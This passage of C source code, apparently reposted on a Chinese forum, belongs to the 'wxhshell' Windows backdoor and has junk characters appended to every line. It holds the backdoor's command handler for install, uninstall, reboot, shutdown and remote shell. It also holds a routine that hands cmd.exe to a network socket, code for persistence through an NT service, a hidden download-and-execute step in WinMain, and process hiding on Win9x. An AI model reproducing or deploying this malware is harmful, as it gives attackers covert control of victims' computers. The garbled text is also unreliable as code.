  else EQI9 J#;+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zc9@G-  
  } 9<n2-l|)  
  else { Ln:6@Ok)5%  
$inlI_  
    switch(cmd[0]) { ]QKo>7%[  
  p3r("\Za,  
  // 帮助 GsIVx!  
  case '?': { 6_|iXs(&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z^lcc7  
    break; `#HtVI  
  } +t*V7nW  
  // 安装 j9gn7LS  
  case 'i': { i(T[  
    if(Install()) `-t8ag 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !LI6_Oq  
    else JfD-CoQS'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fg$#ZCi  
    break; fi%)520  
    } &1 /OwTI4J  
  // 卸载 WC0z'N({W  
  case 'r': { Kb X&E0  
    if(Uninstall()) -t]3 gCLb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lXtsnQOOK  
    else riR(CJ}Ff  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LMKhtOZ?  
    break; 'Qdea$o  
    } i;Dj16h  
  // 显示 wxhshell 所在路径 Q g~cYwX  
  case 'p': { |RjAp.pm  
    char svExeFile[MAX_PATH]; nQGl]2  
    strcpy(svExeFile,"\n\r"); Ft E5H  
      strcat(svExeFile,ExeFile); Zd5Jz+f  
        send(wsh,svExeFile,strlen(svExeFile),0); 'tTUro1~  
    break; ~c,CngeL0  
    } nuKcq!L  
  // 重启 "@z X{^:  
  case 'b': { Emy=q5ryl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b?{MXJ|  
    if(Boot(REBOOT)) |L/EH~| O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)+wke9  
    else { 6am g*=]  
    closesocket(wsh); _'8P8 T&  
    ExitThread(0); J':X$>E|  
    } p{ Xde   
    break; $RH.  
    } R + ~b@  
  // 关机 = N&5]Z  
  case 'd': { SzP`(}AU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NSawD.9mV  
    if(Boot(SHUTDOWN)) pfBe24q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjffpU  
    else { nw4 I<Q  
    closesocket(wsh); <%o9*)F  
    ExitThread(0); dGyrzuPJ  
    } D@2L<!\  
    break; arIEd VfNa  
    } Um}f7^fp^l  
  // 获取shell LZ34x: ,C  
  case 's': { ;NOmI+t0w&  
    CmdShell(wsh); ;,8 )%[  
    closesocket(wsh); 3CzF@t;5  
    ExitThread(0); 8`<e\g7-  
    break; >.M>,m\  
  } y2W|,=Vd  
  // 退出 Vwu dNjL  
  case 'x': { 5?MaKNm}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T;G<62`.h  
    CloseIt(wsh); xa.tH)R  
    break; lD^c_b  
    } 0G31Kou  
  // 离开 &szYa-K*  
  case 'q': { V/3@iOwD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7u{V1_ n1  
    closesocket(wsh); ^Q6?T(%$  
    WSACleanup(); 2E8G 5?qe)  
    exit(1); He,, bq  
    break; @R-11wP)M  
        } T>f6V 5  
  } Sn S$5o  
  } b'``0OB)  
z&cM8w:  
  // 提示信息 | C^.[)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k#bG&BF  
} FDFwx|  
  } <UF0Xc&X'  
MuJP.]5>`  
  return; %s497'  
} s+~GQcj<T  
)=#e*1!b  
// shell模块句柄 Y[l<fbh(}  
int CmdShell(SOCKET sock) ^,0Lr$+  
{ lb$_$+@Vr  
STARTUPINFO si; eT Fep^[  
ZeroMemory(&si,sizeof(si)); pd B\D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I_5/e> 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U shIQh  
PROCESS_INFORMATION ProcessInfo; s7afj t  
char cmdline[]="cmd"; RC}m]!Uz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w3ATsIw  
  return 0; _p>F43%p  
} ,-hbwd~M  
n$`+03a  
// 自身启动模式 | p!($  
int StartFromService(void) ufCpX>lNF  
{ q}+zN eC  
typedef struct _1Q6FI5iR  
{  IMr#5  
  DWORD ExitStatus; XmD(&3;v-  
  DWORD PebBaseAddress; ?2l `%l5(  
  DWORD AffinityMask; +%v1X&_\  
  DWORD BasePriority; jQxhR  
  ULONG UniqueProcessId; O/|))H?C  
  ULONG InheritedFromUniqueProcessId; U(0FL6sPC  
}   PROCESS_BASIC_INFORMATION; d#TA20`  
K-~gIlbQ`  
PROCNTQSIP NtQueryInformationProcess; JO*/UC>"  
BPa,P_6(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fsm6gE`|n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p U9 .#O  
5RvE ),  
  HANDLE             hProcess; 1 _Oc1RM   
  PROCESS_BASIC_INFORMATION pbi; PWZd<  
qEuO@oE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &e6UEG  
  if(NULL == hInst ) return 0; (8aj`> y  
J^`5L7CO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -uWV( ,|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rrr_{d/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d|oO2yzWv  
]/kpEx  
  if (!NtQueryInformationProcess) return 0; i^e8.zgywF  
F|{uA/P{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 04jvrde8-O  
  if(!hProcess) return 0; yq49fEgc@U  
6F!B*lr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (M"rpG>L  
~5`oNa  
  CloseHandle(hProcess); 5?F5xiW  
t[J=8rhER  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oz>2P.7  
if(hProcess==NULL) return 0; Q&N#q53  
:IU7dpwDl  
HMODULE hMod; #gqh0 2 7  
char procName[255]; m0 As t<u  
unsigned long cbNeeded; zxx\jpBBk  
xI1{Wo*2C}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R2n 2mQ<  
g\fj6  
  CloseHandle(hProcess); \7i_2|w  
;<N:!$p  
if(strstr(procName,"services")) return 1; // 以服务启动 m)} 01N4  
tnaFbmp  
  return 0; // 注册表启动 cLl~4jL  
} u*v<dsGQ  
=V]0G,,\  
// 主模块  k`Ifl)  
int StartWxhshell(LPSTR lpCmdLine) -1Dq_!i  
{ p d#Sn+&rf  
  SOCKET wsl; 6_4 B!  
BOOL val=TRUE; 7M~sol[*  
  int port=0; Nwz?*~1  
  struct sockaddr_in door; /$CTz xd1  
Ac|\~w[\  
  if(wscfg.ws_autoins) Install(); <BED&j!qvP  
~<f[7dBv  
port=atoi(lpCmdLine); _0v+'&bz  
sde>LZet/  
if(port<=0) port=wscfg.ws_port; }VZExqm)  
V-}}?c1 F  
  WSADATA data; <M@-|K"Eb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ey=KAt  
N"G aQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !*}UP|8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /3,Lp-kp  
  door.sin_family = AF_INET; >P SO]%mE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q:/df]Ntt  
  door.sin_port = htons(port); 4lB??`UN  
8rH6L:]S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8{!d'Pks  
closesocket(wsl); HKXC=^}x'  
return 1; +q}t%K5  
} 8^>c_%e}  
lP3|h*  
  if(listen(wsl,2) == INVALID_SOCKET) { YND}P9 h  
closesocket(wsl); )Q'E^[Ua  
return 1; g w([08  
} A,9JbX  
  Wxhshell(wsl); |MFAP!rycS  
  WSACleanup(); Sy|GM~  
4MzQH-U>/  
return 0; dHUbaf:e)T  
%`yfi+e  
} )"pvF8JR%3  
R~4X?@ZB  
// 以NT服务方式启动 Q !;syJBb.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RyJy%| \-S  
{ xKG7d8=  
DWORD   status = 0; );h(D!D,  
  DWORD   specificError = 0xfffffff; 3NgXM  
9pqsr~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bi:lC5d5?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; din,yHu~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?b,>+v-w::  
  serviceStatus.dwWin32ExitCode     = 0; &2y4k"B&)  
  serviceStatus.dwServiceSpecificExitCode = 0; }yEV&& @  
  serviceStatus.dwCheckPoint       = 0; w'2FYe{wj  
  serviceStatus.dwWaitHint       = 0; J+`aj8_B  
VTu#)I7A^@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y|}~"^+T  
  if (hServiceStatusHandle==0) return; $] We|  
#m.e9MU  
status = GetLastError(); v 49o$s4J  
  if (status!=NO_ERROR) cRVL1ne  
{ +-^>B%/&Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m!/TJhiQ  
    serviceStatus.dwCheckPoint       = 0; v.Ba  
    serviceStatus.dwWaitHint       = 0; /h0bBP  
    serviceStatus.dwWin32ExitCode     = status; wQ/* f9  
    serviceStatus.dwServiceSpecificExitCode = specificError; q@ -B+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = ^NvUrK  
    return; G;l7,1;MU:  
  }  v_!6S|  
z%YNZ ^d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [Cl0Kw.LD  
  serviceStatus.dwCheckPoint       = 0; JpC'(N  
  serviceStatus.dwWaitHint       = 0; 7y'":1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X_TjJmc  
} ]nhh|q9r{  
NUFz'MPv  
// 处理NT服务事件,比如:启动、停止 5l6/5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qNQ54#  
{ e^Zm09J  
switch(fdwControl) VI2lw E3  
{ fHup&|.  
case SERVICE_CONTROL_STOP: 4!/JN J  
  serviceStatus.dwWin32ExitCode = 0; UphTMyn3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t)zd'[  
  serviceStatus.dwCheckPoint   = 0; DXiA4ihr=  
  serviceStatus.dwWaitHint     = 0; uQ5h5Cfz  
  { ;5j|B|v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %":3xj'EEI  
  } r<UVO$N  
  return; AHb_BgOU*  
case SERVICE_CONTROL_PAUSE: VL9wRu;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {]HiTpn  
  break; =Zq6iMD  
case SERVICE_CONTROL_CONTINUE: JI "/,fK^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NKO"'   
  break; }`"}eN @,  
case SERVICE_CONTROL_INTERROGATE: 0^ODJ7  
  break; fu "cX;  
}; :,l7e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a: "1LnvR  
} SyvoN, ;Q  
PM\Ju]  
// 标准应用程序主函数 l_^OdQ9D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =0)|psCsM  
{ m TE(J Zt  
(C!p2f  
// 获取操作系统版本 F0:]@0>r  
OsIsNt=GetOsVer(); aA`eKy) \  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J2=4%#R!  
$Ll9ak}  
  // 从命令行安装 GcVQz[E  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]8p{A#1  
b>07t!;  
  // 下载执行文件 v"G1vSx)BT  
if(wscfg.ws_downexe) { y]j.PT`Cw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YN8x|DLi?  
  WinExec(wscfg.ws_filenam,SW_HIDE); )eyzHB,H  
} yLa@27T\A  
Y Zj-%5  
if(!OsIsNt) { L/8oqO|  
// 如果时win9x,隐藏进程并且设置为注册表启动 *()['c#CC  
HideProc(); k~>(XG[x&  
StartWxhshell(lpCmdLine); TA[%eMvA  
} cJo%j -AM  
else aCG rS{  
  if(StartFromService()) [6!k:-t+  
  // 以服务方式启动 V\L;EHtc$  
  StartServiceCtrlDispatcher(DispatchTable); is<:}z  
else .vu7$~7  
  // 普通方式启动 \o>-L\`O  
  StartWxhshell(lpCmdLine); C]ss'  
gu k,GF9p]  
return 0; 5|H;%T 3_  
}
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只看该作者 1 发表于: 2006-10-10
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